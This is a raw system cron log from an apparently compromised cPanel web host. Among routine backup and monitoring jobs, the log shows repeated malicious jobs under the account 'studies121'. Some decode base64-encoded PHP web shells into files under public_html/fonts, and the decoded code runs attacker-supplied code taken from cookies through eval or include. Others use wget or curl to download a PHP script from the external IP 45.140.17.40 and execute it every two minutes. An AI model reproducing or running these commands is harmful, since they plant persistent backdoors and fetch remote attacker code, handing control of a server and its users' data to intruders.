Sep  1 23:20:02 ip-184-168-122-23 CROND[7350]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:20:02 ip-184-168-122-23 CROND[7352]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 23:20:02 ip-184-168-122-23 CROND[7360]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 23:20:02 ip-184-168-122-23 CROND[7359]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 23:21:01 ip-184-168-122-23 CROND[7449]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 23:21:01 ip-184-168-122-23 CROND[7450]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:21:01 ip-184-168-122-23 CROND[7453]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:21:01 ip-184-168-122-23 CROND[7452]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 23:22:01 ip-184-168-122-23 CROND[7528]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 23:22:01 ip-184-168-122-23 CROND[7530]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 23:22:01 ip-184-168-122-23 CROND[7531]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 23:22:01 ip-184-168-122-23 CROND[7532]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:22:01 ip-184-168-122-23 CROND[7533]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:23:01 ip-184-168-122-23 CROND[7613]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 23:23:01 ip-184-168-122-23 CROND[7616]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:23:01 ip-184-168-122-23 CROND[7615]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 23:23:01 ip-184-168-122-23 CROND[7617]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:24:01 ip-184-168-122-23 CROND[7688]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 23:24:01 ip-184-168-122-23 CROND[7689]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 23:24:01 ip-184-168-122-23 CROND[7690]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:24:01 ip-184-168-122-23 CROND[7693]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 23:24:01 ip-184-168-122-23 CROND[7691]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:25:01 ip-184-168-122-23 CROND[7864]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 23:25:01 ip-184-168-122-23 CROND[7866]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:25:01 ip-184-168-122-23 CROND[7868]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 23:25:01 ip-184-168-122-23 CROND[7870]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:25:01 ip-184-168-122-23 CROND[7867]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 23:25:01 ip-184-168-122-23 CROND[7871]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 23:26:01 ip-184-168-122-23 CROND[7961]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:26:01 ip-184-168-122-23 CROND[7962]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:26:01 ip-184-168-122-23 CROND[7963]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 23:26:01 ip-184-168-122-23 CROND[7966]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 23:26:01 ip-184-168-122-23 CROND[7964]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 23:27:01 ip-184-168-122-23 CROND[8045]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:27:01 ip-184-168-122-23 CROND[8046]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 23:27:01 ip-184-168-122-23 CROND[8050]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:27:01 ip-184-168-122-23 CROND[8049]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 23:28:01 ip-184-168-122-23 CROND[8132]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 23:28:01 ip-184-168-122-23 CROND[8134]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:28:01 ip-184-168-122-23 CROND[8135]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 23:28:01 ip-184-168-122-23 CROND[8136]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 23:28:01 ip-184-168-122-23 CROND[8138]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:29:01 ip-184-168-122-23 CROND[8249]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:29:01 ip-184-168-122-23 CROND[8248]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:29:01 ip-184-168-122-23 CROND[8250]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 23:29:01 ip-184-168-122-23 CROND[8251]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 23:30:01 ip-184-168-122-23 CROND[8331]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 23:30:01 ip-184-168-122-23 CROND[8334]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:30:01 ip-184-168-122-23 CROND[8341]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 23:30:01 ip-184-168-122-23 CROND[8339]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 23:30:01 ip-184-168-122-23 CROND[8340]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 23:30:01 ip-184-168-122-23 CROND[8336]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 23:30:01 ip-184-168-122-23 CROND[8337]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:30:01 ip-184-168-122-23 CROND[8342]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 23:31:01 ip-184-168-122-23 CROND[8431]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:31:01 ip-184-168-122-23 CROND[8435]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 23:31:01 ip-184-168-122-23 CROND[8437]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:31:01 ip-184-168-122-23 CROND[8438]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 23:31:01 ip-184-168-122-23 CROND[8439]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 23:32:01 ip-184-168-122-23 CROND[8516]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 23:32:01 ip-184-168-122-23 CROND[8517]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:32:01 ip-184-168-122-23 CROND[8519]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
